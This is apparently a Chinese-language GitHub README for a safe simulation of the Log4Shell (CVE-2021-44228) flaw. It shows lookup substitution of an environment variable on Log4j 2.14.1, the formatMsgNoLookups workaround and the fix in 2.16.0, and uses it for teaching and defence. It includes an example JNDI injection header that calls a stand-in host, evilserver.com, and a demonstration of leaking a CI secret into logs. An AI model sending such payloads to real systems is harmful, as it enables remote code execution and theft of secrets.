本仓库是对臭名昭著的 CVE-2021-44228 问题的一个简化模拟。
除了系统属性和其他字典结构的查找之外,Apache Log4j 还出于各种原因实现了 JNDI 查找功能。 JNDI 可以从多个服务提供者处获取服务,例如 LDAP、DNS、Java RMI 注册表等。 JNDI 本身是一个简单且不安全的 API,无法防范由第三方控制的服务提供者。 只要攻击者控制了一个可通过恶意 URL 公开访问的服务器,并知晓正在监听特定端口的应用程序记录了哪些内容,他们就可以滥用日志格式,通过 JNDI 注入让应用程序加载并执行任意 Java 代码。 这可以通过常见的请求头以明文或混淆形式传入并被记录。
user-agent: ${jndi:ldap://evilserver.com/payload}
在 2.16.0 版本于 12 月 13 日发布之前,Apache Log4j 一直存在远程代码执行漏洞。作者们的快速响应令我由衷敬佩。
参考资料:
该模拟使用环境变量代替 LDAP 服务器,同时日志格式支持属性替换。 其原理并无不同。
需要 Java 11 和 Maven,不过仓库中也包含了 Maven Wrapper。
该 GitHub 仓库定义了一个仓库机密 PASSWORD,并在工作流文件 .github/workflow/ci.yml 中将其设置为环境变量,以便让某个 action 可以使用该机密。
要在本地复现该问题,可以使用常用的 JAVA_HOME 环境变量。
该工作流构建并运行两个使用不同 Apache Log4j 版本(2.14.1 和 2.16.0)的应用程序,以下是 GitHub Actions 上的一次示例执行:Java CI #7。
该版本容易受到攻击。请按照以下步骤复现:
mvn clean install -f log4j-2.14.1
java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
环境变量出现在日志中:
args[0] = C:\Program Files\Java\jdk-11.0.11
以下是来自 GitHub Actions 的截图,以防实际运行记录被自动删除:

请注意,一旦你尝试将机密打印到日志中,GitHub 会自动将其隐去,值会被屏蔽并显示为 ***。
不过,属性确实被替换了。
一种临时且部分的变通方案是添加 -Dlog4j2.formatMsgNoLookups=True JVM 参数,因此需要重启应用程序的所有节点。
mvn clean install -f log4j-2.14.1
java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
不会发生属性替换:
args[0] = ${env:JAVA_HOME:-}
同样,以下是来自 GitHub Actions 的截图:

Log4j 安全团队已在 Log4j 2.12.2(Java 7)和 Log4j 2.16.0(Java 8)中修复了该问题。
mvn clean install -f log4j-2.16.0
java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'
不会发生属性替换:
args[0] = ${env:JAVA_HOME:-}
同样,以下是来自 GitHub Actions 的截图:
